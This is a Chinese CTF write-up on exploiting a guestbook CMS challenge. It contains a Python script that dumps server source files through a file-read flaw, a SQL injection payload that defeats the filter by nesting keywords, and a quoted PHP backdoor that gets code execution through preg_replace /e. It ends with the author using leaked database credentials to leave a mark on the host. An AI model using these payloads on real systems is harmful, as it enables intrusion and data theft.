南邮 CTF 综合题2 writeup
0x0 开篇
首先,并没有什么技术含量,单纯记录一下。题目简述:
打开题目链接是一个留言板,感觉很眼熟,想起群里的菊苣发过题目链接,当时只是随便翻了一下。
0x1 信息收集
翻了几个页面,底部链接 http://cms.nuptzj.cn/about.php?file=sm.txt 指向一个说明文件:
看样子存在文件读取漏洞,测试之后成功读取 index.php:
用 Python 脚本把源码爬下来:
# -*- coding: utf-8 -*-
import requests
import HTMLParser
import codecs
URL = 'http://cms.nuptzj.cn/about.php?file=%s'
FILE_LIST = ['index.php', 'say.php', 'so.php', 'preview.php', 'about.php',
'antiinject.php', 'antixss.php']
h = HTMLParser.HTMLParser()
for f in FILE_LIST:
print '[+] Processing file:' + f + '...'
res = requests.get(URL % f)
if res.status_code == 200:
res.encoding = 'utf-8'
with codecs.open(f, 'w+', 'utf-8') as handle:
print 'done'
text = h.unescape(res.text)
handle.write(text)
看看存在文件读取漏洞 about.php 的实现:
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}
禁止读取 config.php 文件和 loginxlcteam 目录下的文件,访问后是一个后台登陆页面。试了一下弱密码没有成功,继续翻阅其他源码:
0x2 漏洞探测
比较有趣的 antiinject.php,看看其实现:
<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+",
"-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
}
return $info;
}
只是对敏感字进行简单的替换,可以通过插入法绕过验证。so.php 中存在对 antiinject 函数的引用,并且没有其他防护措施,所以侧漏了。注意 mysql_real_escape_string 只会转义 \x00、\n、\r、\、'、"、\x1a 字符,这里查询的是数值型数据,所以可以直接注入,另外要设置 User-Agent 才能访问该页面。
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
0x3 Exploit
先探测一下 message 表有多少字段:
import requests
import colorama
colorama.init(autoreset=True)
url = 'http://cms.nuptzj.cn/so.php'
soid = '233/**/aandnd/**/1>100/**/uniounionn/**/selselectect/**/'
for i in range(1, 30):
print '[-] try %d count of columns...' % i
columns = ','.join([str(x) for x in range(1, i + 1)])
columns += '/**/AS/**/nice'
payload = soid + columns
print '[-] Paylaod:', payload
res = requests.post(url, data={'soid' : payload},
headers={'User-Agent':'Xlcteam Browser'})
res.encoding = 'utf-8'
if ' <br />' not in res.text:
print colorama.Fore.GREEN + '[+] ' + payload
break
print 'done'
扫描结果:
然后是通过 information_schema 取回信息(SAE 并没有对其进行限制),从 admin 表中取出信息:
密码字段有点奇怪,应该是 ASCII 数值,将其转换:
成功登陆后台,但是后台并没有 flag:
根据提示有一个名为 xlcteam.php 的文件,该文件存在于根目录,先用上面的脚本下载下来:
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
array_walk 函数接受三个参数,第一个参数为数组类型,第二个为回调函数名称,array_walk 会遍历每一个数组元素,并将元素键和值传入 callback 进行处理,最后一个从是附加参数。例如:
<?php
function display($value, $key, $prefix) {
$str = '%s %s %s <br>';
echo sprintf($str, $key, $value, $prefix);
}
$arr = ['python' => 'funny', 'php' => 'best']
array_walk($arr, 'display', 'is');
输出:
python is funny
php is best
注意传入函数的参数顺序是:值,键,附加。具体参考 http://php.net/manual/en/function.array-walk.php
看到 *|.\|e,想起 preg_replace 的代码执行功能,而且 array_walk 传入的参数刚好满足条件,构造 payload,成功执行:
扫一下目录,发现文件:
扔到 about.php 文件下读取,成功获取 flag:
0x4 继续继续
想起禁止读取 config.php 文件,看看文件里有什么好玩的:
连接一下试试看:
既然成功了,留下个小脚印吧23333(别打我: